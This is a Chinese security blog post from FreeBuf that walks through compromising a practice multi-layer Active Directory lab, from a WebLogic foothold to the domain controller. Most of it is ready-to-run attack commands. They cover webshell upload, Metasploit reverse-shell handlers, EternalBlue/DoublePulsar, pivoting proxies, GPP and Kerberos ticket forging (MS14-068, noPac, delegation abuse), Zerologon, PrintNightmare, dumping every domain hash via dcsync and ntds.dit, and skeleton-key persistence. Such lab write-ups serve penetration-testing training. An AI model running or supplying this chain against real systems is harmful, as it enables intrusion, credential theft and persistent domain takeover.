freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

内网靶场—多层内网渗透
海龙6666 2023-01-30 18:18:36 211043
所属地 浙江省

前言:

本套靶场来源于渗透攻击红队,

环境:

webloginc主机:

公网地址:192.168.2.11

内网地址:10.10.20.12

个人域主机:(redteam.com/)

网卡1:10.10.20.7

网卡2:10.10.10.7(域网段)

sqlserver主机:(redteam/sqlserver-2008)

设置了非约束委派和约束委派

10.10.10.18

域控主机:(redteam/owa)

10.10.10.8

getshell:

先对目标进行端口扫描:

image-20230123172101742

开放7001端口,进行访问

image-20230123172141618

典型的weblgic组件特征,直接利用工具扫描,存在漏洞

image-20230123172235591

目标主机出网

image-20230123172317872

上传木马:

这里并没有直接上线,而是上传一个jsp木马来做一个权限维持,接下来寻找网站的根目录。

访问weblogic的默认登陆路径:

http://192.168.2.11:7001/console/login/LoginForm.jsp

右键F12随便查看一张图片的路径

image-20230123172534767

接下来只要找到该图片所在路径就能间接找出网站根目录:

dir C:\ /s /b | find "login_WebLogic_branding.png"

image-20230123172726393

成功找到图片路径:

C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png

接下来在该目录下上传马子即可:

image-20230123172805591

冰蝎连接

image-20230123172837607

上线weblogic主机和个人域主机:

当前网段存在一个公网网卡和另一张内网网卡10.10.20.12

利用nbtscan简单扫一下当前的网段:

nbtscan.exe 10.10.20.12/24

image-20230123215335404

存在另一台主机10.10.20.7,利用fscan扫一下,看看是否存在ms17010

fscan.exe -h 10.10.20.12/24 -m ms17010

image-20230123173230292

显然存在ms17010

上线msf吧,打ms17010方便一点,代理也方便

先做一个frp穿透

image-20230123173550501

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.118.129
set lport 1132
run

image-20230123173636347

接下来目的明确,打永恒之蓝,这里我就不用msf自带的模块打了,我用python脚本来打这个漏洞,msf这个有一定的缺陷,不是很好。

添加路由:

run autoroute -s 10.10.20.12/24
run autoroute -p

image-20230123173848365

第一层流量代理:
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.118.129
set srvport 10011
run

image-20230123173949514

在proxychains配置好代理:

image-20230123174030249

我们利用这个项目来打ms17010

https://github.com/TolgaSEZER/EternalPulse

在攻击机上配置好刚才的代理:

Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 目标IP --TargetPort 445

Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 10.10.20.7 --TargetPort 445

image-20230123174159962

直接64位,msf生成相应的payload(正向):

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1125 -f dll -o bind.dll

利用脚本打过去:

Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 目标ip --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload dll地址 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60

image-20230123174443115

直接打成功了。

为什么用这个脚本打,因为他在实战中成功率比较高,而且集成32,64位,打习惯了就知道她确实好用。

域内信息收集:
net group "Domain Controllers" /domain  ##查询域控制器

域控地址为10.10.10.8

第二层代理:

接下来再将10.10.10.7的这台机器流量代理出来:

添加路由:

run autoroute -s 10.10.10.7/24
run autoroute -p


image-20230123175122100

流量代理:

use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.118.129
set srvport 10086
run

接下来在proxychains做好二级代理:

image-20230123175222222

这样就能在本地直接与域控进行通信了:


打域控:

上线到cs:

打域控之前先将这两台主机上线cs,因为后面都会将主机上线cs,这样显得好看:

先上线weblogic主机,用这个当跳板机上线域内个人主机:

image-20230123175508854

接下来利用这个主机进行转发上线域内个人主机:

image-20230123175546059

生成一个马子,利用msf上传并运行:成功上线:

image-20230123175645378

GPP组策略漏洞:

利用msf来进行利用:

use windows/gather/credentials/gpp
set session 2
run

image-20230123181019847

成功获取到一个域用户的密码,后期这个密码可以用来作为一个字典。

ms14-68:

生成票据:

proxychains python2 ms14_068.py -u saul@redteam.red --rc4 e90127c07127ed12f4ebf668acca53e9:518b98ad4178a53695dc997aa02d455c -s S-1-5-21-1359007890-1682372173-1631803504-1135

在当前目录下生成一张票据:

image-20230123180107395

将票据上传到域用户主机利用mimikatz进行注入

mimikatz kerberos::ptc TGT_saul@redteam.red.ccache

image-20230123180230188

注入成功,访问域控,我这里直接访问10.10.10.8访问失败,但是访问OWA可以成功。

image-20230123180332730

image-20230123180348528

我们既然与域控建立了联系,接下来直接上线域控:

老规矩,先利用域用户主机做个代理转发

image-20230123180654247

自己配置目标信息,注意这里地址不要写ip地址,写域控名称

image-20230123180511709

以该会话来直接上线域控

image-20230123180742555

image-20230123180801164

成功上线域控。

cve2021-42287:
proxychains python3 noPac.py -hashes 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c "redteam.red/saul" -dc-ip 10.10.10.8 -dc-host OWA --impersonate administrator -dump -use-ldap

image-20230123181202890

成功获取到域控管理员hash密码,可以直接利用改密码连接域控

cve-2021-1675:

ps:这个方法我失败了,不过这也是一个很不错的方法,故也记录一下。

检测是否存在漏洞:

proxychains python3 rpcdump.py @10.10.10.8 | egrep 'MS-RPRN|MS-PAR'

image-20230123181553393

这里显示是存在的,接下来利用脚本去打,打之前先启动一个smb服务,我们这里只能在个人域用户这个机器上去启动,网上有相应的脚本,但是我没成功,我这里是一条一条打的。

net user guest /active:yes

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f

secedit /export /cfg gp.inf /quiet
修改文件gp.inf,将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight =,保存

secedit /configure /db gp.sdb /cfg gp.inf /quiet
gpupdate /force
icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full

按照上面步骤来启动smb是ok的,我也验证了一下,确实可以:

image-20230123181847429

接下来cs生成dll文件,利用mimikatz打过去:

mimikatz.exe misc::printnightmare /library:misc::printnightmare /library:\\10.10.10.7\share\bind.dll  /server:10.10.10.8 /authuser:saul /authdomain:redteam.red /authpassword:admin!@#45

这里失败了,没有上线:

image-20230123182006971

利用脚本打:

proxychains python3 CVE-2021-1675.py redteam/saul:admin\!@#45@10.10.10.8 '\\192.168.232.130\smb\rever.dll'

也失败了:就很无语

image-20230123182215037

cve2020-1472:

检查是否存在漏洞并置空

mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$" "exit"

mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$ /exploit" "exit"

image-20230123182400792

image-20230123182416063

空密码连接域控:

proxychains python3 secretsdump.py "redteam.red/OWA$"@10.10.10.8 -no-pass

获取到域控管理员hash

image-20230123182622833

接下来连接域控到处注册表的值:

proxychains wmiexec.py -hahses hash密码 "redteam/administrator"@10.10.10.8 
reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save
lget security.save
lget system.save
lget sam.save
del sam.save
del system.save
del security.save

导出$MACHINE.ACC值:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

下面忘了截图了,

恢复密码:

python3 reinstall_original_pw.py OWA 10.10.10.8 1235c5b0e62d03dffeff03b2c9ec5f62

image-20230123183156586

约束委派:
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20230124093135502

sqlserver被设置了约束委派用户

ps:这里的sqlserver机器出问题了,并没有sqlserver服务开放,所以换一种思路来获取sqlserver的权限

我们在前面通过GPP漏洞获取到了一个Admin12345密码,在加上其他机器的密码,我们来做一个横向攻击:

mima.txt

Admin12345
admin!@#45

利用fscan:

shell fscan.exe -h 10.10.10.8/24 -m smb -user administrator -pwdf mm.txt

image-20230123232759511

成功获取到了18这台机器的管理员密码,接下来直接上线就行了:

image-20230123232838290

我们抓取密码:获取到了一部分密码:

image-20230124000522428

方法一:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:YUkong.kirbi" "exit"

image-20230124093519960

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"

image-20230124093551993

mimikatz "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi" "exit"

image-20230124093631601

image-20230124093657288

方法二:

到处机器账户的hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

image-20230124093811635

# 请求票据
kekeo.exe "tgt::ask /user:sqlserver-2008$ /domain:redteam.red /NTLM:6063d4e2707f0f43249c8b1655138633
" "exit"

# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver-2008$@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"

# mimikatz
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_sqlserver-2008$@REDTEAM.RED.kirbi" "exit"

# 访问
dir \\owa.redteam.red\c$

image-20230124094034783

获取密码:

收集域内DNS信息:
proxychains python3 dnsdump.py -u "REDTEAM\saul" -p 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c -d 10.10.10.8 -r 

image-20230124153540944

image-20230124153603453

dump域内所有hash:

在域控上面执行以下操作:

mimikatz:
shell mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.red /all /csv" "exit"

image-20230124154638031

导出ntds.dit文件:
#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

image-20230124154752718

#加载快照
shell ntdsutil snapshot "mount {e1122719-433f-4d20-88e7-336954dcc21a}" quit quit

#Copy文件副本
shell copy C:\$SNAP_202301241547_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

在C:目录下生成ntds.dit文件

image-20230124154949933

#导出system文件
reg save hklm\system c:\system.hive

ntdsd.exe -d ntds.dit -s system.hive -o hash.txt

image-20230124155358355

删除快照:
ntdsutil snapshot "unmount {30144165-7f1b-4732-b93f-f1567c6e3975}" "delete {30144165-7f1b-4732-b93f-f1567c6e3975}" quit quit
直接利用脚本导出:
proxychains python3 secretsdump.py redteam.red/administrator:Admin123456@10.10.10.8 -just-dc-ntlm

image-20230124155848736

权限维持:

最常见的就是黄金,白银票据,这里就用mimiatz的哇能密码来做一个权限维持吧:

mimikatz privilege::debug
mimikatz misc::skeleton

img

这样于内任意主机都可以与域控建立ipc连接,密码是mimikatz。

结尾:

本套靶场难度中规中矩,里面还有其他方法可以尝试,例如exchange,越苏委派等都可以尝试一遍,主要目的是练习并熟悉拿域控的常用方法以及拿到之后的权限维持等。

最后在这里感谢渗透攻击红队所提供的靶场。

# 漏洞 # 网络安全 # 内网渗透
本文为 海龙6666 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
红队攻防演练
海龙6666 LV.2
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 5 关注者
ms17_010的几种打法
2022-11-19
shiro漏洞工具简单配置
2022-07-05
信息收集之利用Python批量判断CDN
2022-06-23